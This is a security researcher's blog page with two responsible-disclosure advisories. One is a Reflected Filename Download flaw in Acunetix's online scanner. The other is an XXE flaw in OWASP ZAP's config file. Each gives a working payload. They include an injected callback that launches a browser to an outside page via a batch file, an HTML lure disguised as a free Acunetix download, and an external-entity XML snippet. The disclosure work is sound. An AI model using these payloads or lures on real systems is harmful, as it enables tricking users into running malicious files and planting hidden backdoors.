David Sopas – Web Security Researcher

owasp zap

23/09/15 Advisories # , , ,

Acunetix got RFDed!

Acunetix got RFDed!

After publishing a report on a security software – OWASP ZAP – I found another vulnerability on a security company – Acunetix.
Reminds the proverbial saying:

Shoemaker’s son always goes barefoot.

I found a way to trick users into downloading a batch [executable] file that comes from ovs.acunetix.com using a Reflected Filename Download vulnerability.
It was funny how I found this one. I noticed that Acunetix allowed to test vulnerabilities online and I was curious about that web appplication. I register for a demo account and noticed lot’s of XHR requests on my Google Inspector. So I decided to give RFD a try…

This security issue affected almost all XHR requests on ovs.acunetix.comAcunetix Online Vulnerability Scanner. Every request allowed a user to inject a callback with special characters that would allowed me to launch a possible attack.

Take this example:

https://ovs.acunetix.com/rpc/reports/count?sgn=1&callback=start chrome davidsopas.com/poc/malware.htm||

Which reflects on the screen:

start chrome davidsopas.com/poc/malware.htm||({“message”: “get:sgn:invalid size”, “data”: null, “error”: “bad-input”});

It didn’t give any HTTP error:

Request URL:https://ovs.acunetix.com/rpc/reports/count?sgn=1&callback=start%20chrome%20davidsopas.com/poc/malware.htm||
Request Method:GET
Status Code:200 OK
Remote Address:54.209.55.15:443

So I was able to inject a callback that even giving an error on the JSON information it didn’t return a HTTP error.

Because I couldn’t control the filename and force a download I needed to use the HTML5 download attribute.

<div align="center"> 
 <a href="https://ovs.acunetix.com/rpc/reports/count?sgn=1&callback=start chrome davidsopas.com/poc/malware.htm||" download="setup.bat" onclick="return false;">
 <img src="https://www.davidsopas.com/poc/Acunetix_1.jpg" border="0" />
 </a> 
 <h1>Download Acunetix Web Security Scanner for Free!</h1> 
 <p><i>(Use "Save link as" to download the file)</i></p> 
</div>

As I said before it happened in almost every XHR requests:

https://ovs.acunetix.com/rpc/scans/count?sgn=1&callback=start%20chrome%20davidsopas.com/poc/malware.htm||
https://ovs.acunetix.com/rpc/scans/list?sgn=1&callback=start%20chrome%20davidsopas.com/poc/malware.htm||
https://ovs.acunetix.com/rpc/licenses/get?sgn=1&callback=start%20chrome%20davidsopas.com/poc/malware.htm||

Possible attack scenario:
Because this file can be accessed without authentication a malicious user could use this to attack any user.

  1. Malicious user creates a specially crafted page – similar to my proof-of-concept – promising to download Acunetix web security software.
  2. Victims clicks to download the file [even if the victim checks the source-code of the page they would see the trusted source – acunetix.com]
  3. Victims runs the file and gets hijacked

Acunetix security team fixed this vulnerability very fast proving that they’re on top of things. I wish I could to see other companies follow Acunetix patching timeline.

Timeline:

17-09-2015 Reported to Acunetix
17-09-2015 Acunetix acknowledged the vulnerability
18-09-2015 Acunetix informed me that they fix this security issue
22-09-2015 Full disclosure

one response
22/09/15 Advisories # , , , ,

OWASP ZAP XXE vulnerability

OWASP ZAP XXE vulnerability

I just noticed that this is my first full disclosure of a XXE vulnerability. I already found others but they were inside private bounty programs.

For those who don’t know OWASP ZAP:

The Zed Attack Proxy (ZAP) is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications.
It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing.
ZAP provides automated scanners as well as a set of tools that allow you to find security vulnerabilities manually.

@ https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project

When checking some files from the application I noticed that there are a lot of XML files so I decided to “play” the XXE (XML External Entity) card to check if it OWASP ZAP was vulnerable. I know that finding this type of local vulnerability is a low level issue specially because you need to have access to the local files of the victim but what if the malicious user wants to backdoor the operating system without the trouble of being detected? Cool idea right?

What I done:

  • Opened config.xml on OWASP ZAP local path
  • Added after the <xml> tag the following code:
<!DOCTYPE foo [ 
 <!ELEMENT foo ANY >
 <!ENTITY xxe SYSTEM "http://davidsopas.com/XXE" >]><foo>&xxe;</foo>
  • Saved it and run OWASP ZAP
  • Checking the logs of davidsopas.com I had:

xx.xx.xxx.xxx – – [14/Aug/2015:16:29:05 +0100] “GET /XXE HTTP/1.1” 301 234 “-” “Java/1.8.0_31”

Keep in mind that config.xml is updated when you run the application so the XXE attack is removed automatically cleaning the tracks of a possible malicious user.
Others XML files could also be vulnerable.

I reported this issue to OWASP ZAP guys and they agree with me that it’s not a critical security issue but they fixed it on the version 2.4.2 – https://github.com/zaproxy/zaproxy/issues/1804 – by disabling processing of XML external entities by default.

They were also nice enough to put my name in their acknowledgement list.
If you don’t use OWASP ZAP give it a try. I use it almost everyday. It’s a excellent pentesting tool and with great online support.

one response